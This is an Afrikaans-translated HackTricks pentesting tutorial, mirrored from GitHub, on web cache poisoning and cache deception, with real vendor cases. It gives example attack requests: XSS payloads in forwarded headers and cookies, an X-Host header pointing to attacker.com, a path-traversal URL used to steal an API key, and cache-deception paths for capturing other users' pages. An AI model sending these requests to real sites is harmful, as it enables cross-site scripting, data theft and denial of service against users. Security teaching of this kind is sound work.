Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cache-deception.md

19 KiB
Raw Blame History

Cache Vergiftiging en Cache Misleiding

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Andere maniere om HackTricks te ondersteun:


Gebruik Trickest om maklik te bou en outomatiseer werkstrome aangedryf deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandaag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Die Verskil

Wat is die verskil tussen web cache vergiftiging en web cache misleiding?

  • In web cache vergiftiging, veroorsaak die aanvaller dat die aansoek 'n paar skadelike inhoud in die cache stoor, en hierdie inhoud word van die cache na ander aansoekgebruikers bedien.
  • In web cache misleiding, veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.

Cache Vergiftiging

Cache vergiftiging is daarop gemik om die kliëntkant-cache te manipuleer om kliënte te dwing om bronne te laai wat onverwags, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak is afhanklik van die gewildheid van die betrokke bladsy, aangesien die besmette respons uitsluitlik aan gebruikers bedien word wat die bladsy besoek tydens die tydperk van cache besmetting.

Die uitvoering van 'n cache vergiftigingsaanval behels verskeie stappe:

  1. Identifikasie van Ongekenmerkte Insette: Hierdie is parameters wat, alhoewel nie nodig vir 'n versoek om in die cache gestoor te word nie, die respons wat deur die bediener teruggegee word, kan verander. Die identifisering van hierdie insette is noodsaaklik omdat hulle uitgebuit kan word om die cache te manipuleer.
  2. Uitbuiting van die Ongekenmerkte Insette: Nadat die ongekenmerkte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se respons op 'n manier te verander wat die aanvaller bevoordeel.
  3. Verseker dat die Vergiftigde Respons in die Cache Gestoor word: Die finale stap is om te verseker dat die gemanipuleerde respons in die cache gestoor word. Op hierdie manier sal enige gebruiker wat die betrokke bladsy besoek terwyl die cache vergiftig is, die besmette respons ontvang.

Ontdekking: Kontroleer HTTP koppe

Gewoonlik, wanneer 'n respons in die cache gestoor is, sal daar 'n kop aandui wees, jy kan kyk na watter koppe jy moet oplet in hierdie pos: HTTP Cache koppe.

Ontdekking: Caching 400 kode

As jy dink dat die respons in 'n cache gestoor word, kan jy probeer om versoeke met 'n slegte kop te stuur, wat met 'n status kode 400 beantwoord behoort te word. Probeer dan om die versoek normaal te benader en as die respons 'n 400 status kode is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer).
'n Sleg gekonfigureerde kop kan net \: as 'n kop wees.
Merk op dat soms hierdie soorte status kodes nie in die cache gestoor word nie, so hierdie toets sal nutteloos wees.

Ontdekking: Identifiseer en evalueer ongekenmerkte insette

Jy kan Param Miner gebruik om parameters en koppe te brute-force wat die respons van die bladsy mag verander. Byvoorbeeld, 'n bladsy kan die kop X-Forwarded-For gebruik om aan te dui dat die kliënt die skrips van daar moet laai:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Ontlok 'n skadelike reaksie van die agterste bediener

Met die geïdentifiseerde parameter/kop, ondersoek hoe dit gesaniteer word en waar dit weerspieël word of die reaksie van die kop affekteer. Kan jy dit enigsins misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? Voer 'n DoS uit?...)

Kry die gereageerde gekašeer

Sodra jy die bladsy geïdentifiseer het wat misbruik kan word, watter parameter/kop om te gebruik en hoe om dit te misbruik, moet jy die bladsy gekašeer kry. Afhangend van die bron wat jy in die kas wil kry, kan dit 'n rukkie neem, jy moet dalk vir verskeie sekondes probeer.
Die kop X-Cache in die reaksie kan baie nuttig wees omdat dit die waarde miss kan hê wanneer die versoek nie gekašeer was nie en die waarde hit wanneer dit gekašeer is.
Die kop Cache-Control is ook interessant om te weet of 'n bron gekašeer word en wanneer die volgende keer die bron weer gekašeer sal word: Cache-Control: public, max-age=1800
'n Ander interessante kop is Vary. Hierdie kop word dikwels gebruik om addisionele koppe aan te dui wat as deel van die kas sleutel hanteer word selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die User-Agent van die slagoffer ken wat hy teiken, kan hy die kas vergiftig vir die gebruikers wat daardie spesifieke User-Agent gebruik.
'n Ander kop wat verband hou met die kas is Age. Dit definieer die tyd in sekondes wat die voorwerp in die proksikas was.

Wees versigtig met die koppe wat jy gebruik wanneer jy 'n versoek kaseer, omdat sommige van hulle onverwags as gesleutel gebruik kan word en die slagoffer sal daardie selfde kop moet gebruik. Toets altyd 'n Kaskasvergiftiging met verskillende webblaaier om te sien of dit werk.

Uitbuitingsvoorbeelde

Maklikste voorbeeld

'n Kop soos X-Forwarded-For word ongesaniteer in die reaksie weerspieël.
Jy kan 'n basiese XSS-lading stuur en die kas vergiftig sodat almal wat die bladsy besoek, XSS sal wees:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Noot dat dit 'n versoek na /en?region=uk sal vergiftig en nie na /en nie

Gebruik van web-kasvergiftiging om koekiehanteringskwesbaarhede te benut

Koekies kan ook weerspieël word in die respons van 'n bladsy. As jy dit kan misbruik om byvoorbeeld 'n XSS te veroorsaak, kan jy XSS in verskeie kliënte benut wat die bose kasrespons laai.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Cache vergiftiging met padtraversal om API-sleutel te steel

Hierdie uiteensetting verduidelik hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 omdat enige iets wat ooreenstem met /share/* sal gelaai word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.

Gebruik van meervoudige koppe om webkachevergiftigingskwesbaarhede te misbruik

Soms sal jy veral meerdere ongesleutelde insette moet misbruik om 'n kache te kan misbruik. Byvoorbeeld, jy mag 'n Oop herlei vind as jy X-Forwarded-Host instel op 'n domein wat deur jou beheer word en X-Forwarded-Scheme op http. As die bediener al die HTTP-versoeke na HTTPS deurstuur en die kop X-Forwarded-Scheme gebruik as die domeinnaam vir die herlei. Jy kan beheer waarheen die bladsy verwys word deur die herleiing.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Uitbuiting met beperkte Vary-kop

Indien jy vind dat die X-Host-kop gebruik word as domeinnaam om 'n JS-hulpbron te laai maar die Vary-kop in die respons aandui User-Agent. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te eksfiltreer en die cache te vergiftig deur daardie gebruikeragent te gebruik:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Uitbuiting van HTTP-cachevergiftiging deur misbruik te maak van HTTP-aanvraagsmokkelarij

Leer hier oor hoe om Cache-vergiftigingsaanvalle uit te voer deur misbruik te maak van HTTP-aanvraagsmokkelarij.

Geoutomatiseerde toetsing vir Web Cache-vergiftiging

Die Web Cache Vulnerability Scanner kan gebruik word om outomaties te toets vir web-cachevergiftiging. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar.

Voorbeeldgebruik: wcvs -u example.com


Gebruik Trickest om maklik werkvloeie te bou en outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Kwesbare Voorbeelde

Apache Traffic Server (CVE-2021-27577)

ATS het die fragment binne die URL deurgestuur sonder om dit te stroop en het die cache-sleutel slegs geskep deur die gasheer, pad en navraag te gebruik (met uitsluiting van die fragment). Dus is die versoek /#/../?r=javascript:alert(1) na die agterste stuur as /#/../?r=javascript:alert(1) en het die cache-sleutel nie die lading binne dit gehad nie, slegs gasheer, pad en navraag.

GitHub CP-DoS

Die stuur van 'n slegte waarde in die inhoudstipe-kop het 'n 405 gekaapte reaksie geaktiveer. Die cache-sleutel het die koekie bevat, sodat dit slegs moontlik was om ongeagte gebruikers aan te val.

GitLab + GCP CP-DoS

GitLab gebruik GCP-emmers om statiese inhoud te stoor. GCP-emmers ondersteun die kop x-http-method-override. Dit was dus moontlik om die kop x-http-method-override: HEAD te stuur en die cache te vergiftig om 'n leë reaksie liggaam terug te gee. Dit kon ook die metode PURGE ondersteun.

Rak Middleware (Ruby on Rails)

In Ruby on Rails-aansoeke word Rak-middelware dikwels gebruik. Die doel van die Rak-kode is om die waarde van die x-forwarded-scheme-kop te neem en dit as die versoek se skema in te stel. Wanneer die kop x-forwarded-scheme: http gestuur word, vind 'n 301 herlei na dieselfde plek plaas, wat moontlik 'n Diensverleningsaanval (DoS) aan daardie hulpbron kan veroorsaak. Daarbenewens kan die aansoek die X-forwarded-host-kop erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.

403 en Stoor-emmers

Cloudflare het vroeër 403-reaksies gekaap. 'n Poging om S3- of Azure-stoorblokke met ongeldige Autorisasiekoppe te benader, sou 'n 403-reaksie tot gevolg hê wat gekaap is. Alhoewel Cloudflare opgehou het om 403-reaksies te kies, kan hierdie gedrag nog steeds teenwoordig wees in ander proksi-diens.

Injeksie van Gesleutelde Parameters

Cache sluit dikwels spesifieke GET-parameter in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die grootte-parameter in versoekers gekaap. As 'n URL-gekodeerde weergawe van die parameter (bv., siz%65) ook met 'n foutiewe waarde gestuur is, sou die cache-sleutel opgestel word deur die korrekte grootte-parameter te gebruik. Tog sou die agterste waarde in die URL-gekodeerde parameter verwerk word. URL-kodering van die tweede grootte-parameter het tot sy weglaat deur die cache gelei, maar tot sy gebruik deur die agterste. Die toekenning van 'n waarde van 0 aan hierdie parameter het gelei tot 'n koppelbare 400 Foutversoek-fout.

Gebruikeragentreëls

Sommige ontwikkelaars blokkeer versoekers met gebruikers-agente wat ooreenstem met dié van hoë-verkeer-hulpmiddels soos FFUF of Nuclei om bedienerslas te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache-vergiftiging en DoS inbring.

Onwettige Kopvelvelde

Die RFC7230 spesifiseer die aanvaarbare karakters in kopnaam. Koppe wat karakters buite die gespesifiseerde tchar-reeks bevat, behoort ideaal gesproke 'n 400 Foutversoek-reaksie te aktiveer. In die praktyk hou bedieners nie altyd aan hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat koppe met ongeldige karakters deurstuur en enige 400-fout kies, solank die cache-control-kop nie teenwoordig is nie. 'n Uitbuitbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos \, sou lei tot 'n koppelbare 400 Foutversoek-fout.

Nuwe koppe vind

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Bedrog

Die doel van Cache Bedrog is om kliënte hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word.

Eerstens, let daarop dat uitbreidings soos .css, .js, .png ens. gewoonlik gekonfigureer is om in die cache gestoor te word. Daarom, as jy www.example.com/profile.php/nonexistent.js besoek, sal die cache waarskynlik die reaksie stoor omdat dit die .js uitbreiding sien. Maar, as die toepassing met die sensitiewe gebruikersinhoud wat gestoor is in www.example.com/profile.php herhaal, kan jy daardie inhoud van ander gebruikers steel.

Ander dinge om te toets:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Gebruik minder bekende uitbreidings soos .avif

'n Baie duidelike voorbeeld kan gevind word in hierdie skrywe: https://hackerone.com/reports/593712.
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy laai soos http://www.example.com/home.php/non-existent.css die inhoud van http://www.example.com/home.php (met die sensitiewe inligting van die gebruiker) teruggegee gaan word en die cache-bediener gaan die resultaat stoor.
Dan kan die aanvaller http://www.example.com/home.php/non-existent.css in hul eie blaaier toegang en die vertroulike inligting van die gebruikers wat voorheen toegang gekry het, waarneem.

Let daarop dat die cache-proksi ingestel moet wees om lêers te stoor gebaseer op die uitbreiding van die lêer (.css) en nie op die inhoudstipe nie. In die voorbeeld http://www.example.com/home.php/non-existent.css sal 'n text/html inhoudstipe hê in plaas van 'n text/css mime-tipe (wat die verwagte vir 'n .css lêer is).

Leer hier oor hoe om Cache Bedrog-aanvalle uit te voer deur misbruik te maak van HTTP-aanvraagsmokkelarij.

Verwysings


Gebruik Trickest om maklik werkvloeie te bou en outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: